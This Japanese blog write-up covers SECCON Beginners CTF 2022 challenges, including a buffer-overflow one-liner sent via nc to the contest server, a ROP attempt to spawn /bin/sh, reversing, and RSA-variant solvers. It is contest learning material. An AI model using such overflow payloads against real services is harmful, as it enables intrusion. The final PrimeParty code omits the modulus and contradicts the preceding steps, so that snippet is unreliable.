SECCON Beginners CTF 2022のWriteup （後編）

前編はこちら

本記事はpicoCTF 2022のWriteup（前編）の続きです。

• 

  2022/09/07

  SECCON Beginners CTF 2022のWriteup （前編）

  CTF（Capture the Flag）とは、情報セキュリティの知識を使うセキュリティコンテストの一つです。今回、国内のCTFの中で最大となるSECCONが開催しているビギナー向けのコンテストに参加しました。

  テクノロジー

pwnable

BeginnerBof

プログラムをみると、main関数内で fgets関数を利用しています。Buffer Overflow が狙えそうです。
この関数の戻りアドレスを Buffer Overflow で書き換え、win関数に遷移させることでフラグが入手できそうです。

gdb (PEDA拡張付き)を利用し、①fgets関数実行直後のスタックの状態 を調べます。

objdumpコマンドで遷移させる ②win関数のアドレス を調べます。

$ objdump -t chall | grep win
00000000004011e6 g     F .text  000000000000007d              win

①②の2つの情報から、入力すべきデータが分かりました。実際に実行してフラグを入手します。

$ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000
How long is your name?
What's your name?
Hello 0123456789012345678901234567890123456789�@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
Segmentation fault

raindrop

おぼえていますか? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46

特に言うことなしの人です。
22時から開始して朝4時まで格闘。起床してからもずっと格闘していましたが、終ぞ解けませんでした。

タイトルどおりROPを狙いに行く問題だと思い、 vuln関数内のreadに対してオーバーフロー起こしてsystem('/bin/sh')をコールしてシェルを奪取する感じだと思い、ずっとこねくりまわしていました。

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

ただ/bin/shのアドレスがわからず「マジで難しくない…？ほんとにこれがeasy…？」ってなりました。

（朝4時）

reversing

Quiz

逆コンパイルや逆アセンブラも試しましたが、結局は strings コマンドでも フラグが取れました。

$ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

Recursive

リバースエンジニアリングツール Ghidra でダウンロードした実行バイナリをデコンパイルします。
関数check がフラグの妥当性をチェックする関数と分かります。

undefined8 check(char *param_1,int param_2)
{
  int iVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  char *pcVar5;

  sVar4 = strlen(param_1);
  iVar3 = (int)sVar4;
  if (iVar3 == 1) {
    if (table[param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar1 = iVar3 / 2;
    pcVar5 = (char *)malloc((long)iVar1);
    strncpy(pcVar5,param_1,(long)iVar1);
    iVar2 = check(pcVar5,param_2);
    if (iVar2 == 1) {
      return 1;
    }
    pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
    strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
    iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
    if (iVar3 == 1) {
      return 1;
    }
  }
  return 0;
}

変数名など非常に解読しづらいですが、なんとか読めます。
python3で記述すると以下のような関数です。

def check(s: str, i: int) -> bool:
    l = len(s) 
    if l == 1:
        return table[i] == s
    else:
        h = l // 2
        return check(s[:h], i) and check(s[h:], h * h + i)

フラグはバイナリのmain関数から38文字と分かっています。
これを逆解析する処理をpythonで記述すると以下のとおりです。

def solve(i: int, length: int) -> str:
    if length == 1:
        return table[i]
    else:
        h = length // 2
        return solve(i, h) + solve(i + h * h, length - h)

flag = solve(0, 38)
print(flag)
print("check:", check(flag, 0))

crypto

CoughingFox

これは近代的な暗号の知識が不要な問題です。
実直に複合プログラムを実装して、フラグを入手します。

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

def solve() -> str:
    for i in range(len(cipher)):
        s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher]
        if len(s) != 1:
            raise "decrypt error"
        yield s[0]

print(*solve(), sep="")

PrimeParty

ncコマンドでサーバーにつなぐと、4つのランダムな素数が選ばれて、ユーザには3つ整数の入力を求められる。

[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] Do you want to invite more guests?
 > 3 ### ←ユーザ入力
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*-
[*] Do you want to invite more guests?
 > 7 ### ←ユーザ入力
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*-
[*] Do you want to invite more guests?
 > 5 ### ←ユーザ入力
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*-
n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895
e = 65537
cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627

ここで、nは、サーバ側でランダムに設定された素数４つと、ユーザ入力の３つの整数のうち素数を全てかけ合わせた数である。
eは65537で固定である。
cipherの値は、次のように計算されている。

cipher = pow(flag, e, n)

これってRSA暗号に似てるので、eに対応するdを決めて、
flag = pow(cipher, d, n)を計算すればいいんじゃね？と思ったが、dを決めるためには、nを素因数分解しないといけないので、ほかの手段はないの？とぐるぐるしていたら間に合わなかった。

作問者のWriteUpをみて、次のように解けばよいとわかりました。

pが素数で、nが平方因子のない自然数であるとき

①オイラーの定理 \(t \equiv 1\pmod {p−1}⇒ a^t \equiv a\pmod p\)
② FLAGより大きな素数 p を求める (455bitより大きいサイズであればOK)
③ \(ed \equiv 1\pmod {p−1}\)なる\(e\)を探す
④ \(cipher\)を\(p\)で割った余りを\(r\)とする。

①、③より$$ r^d \equiv X^{ed} \equiv X \pmod p $$がいえて、②より、この条件を満たす\(X\)のうち最小のものがFLAGである。

③のような\(d\)は次のプログラムで求められるらしい

pow(e, -1, p-1)

②の素数は、\(2^{455}\)がだいたい137ケタなので、138ケタ以上の素数を探して持ってくればよい。

https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7
ここから、メルセンヌ素数 \(M_{521}=2^{521}-1\)を使えばよさそう

In [6]: 2**521 - 1
Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151

https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf

以上より

d = pow(e, -1, p-1)
flag_int = cipher ** d

welcome

完走した感想

昨年参加したときは上位15％ほどでしたが、今回は上位7％とかなりいいところまで行けたと思います。すごい！

昨年同様になってしまいますが、 pwnableとreversing、cryptoは回答チームも少なく、差が出るポイントかなと思いました。

というかマジでこの3ジャンルは難しい。だれか強い人おらんかぁ？

待っています！

※サムネ画像ロゴは『SECCON Beginners CTF』より引用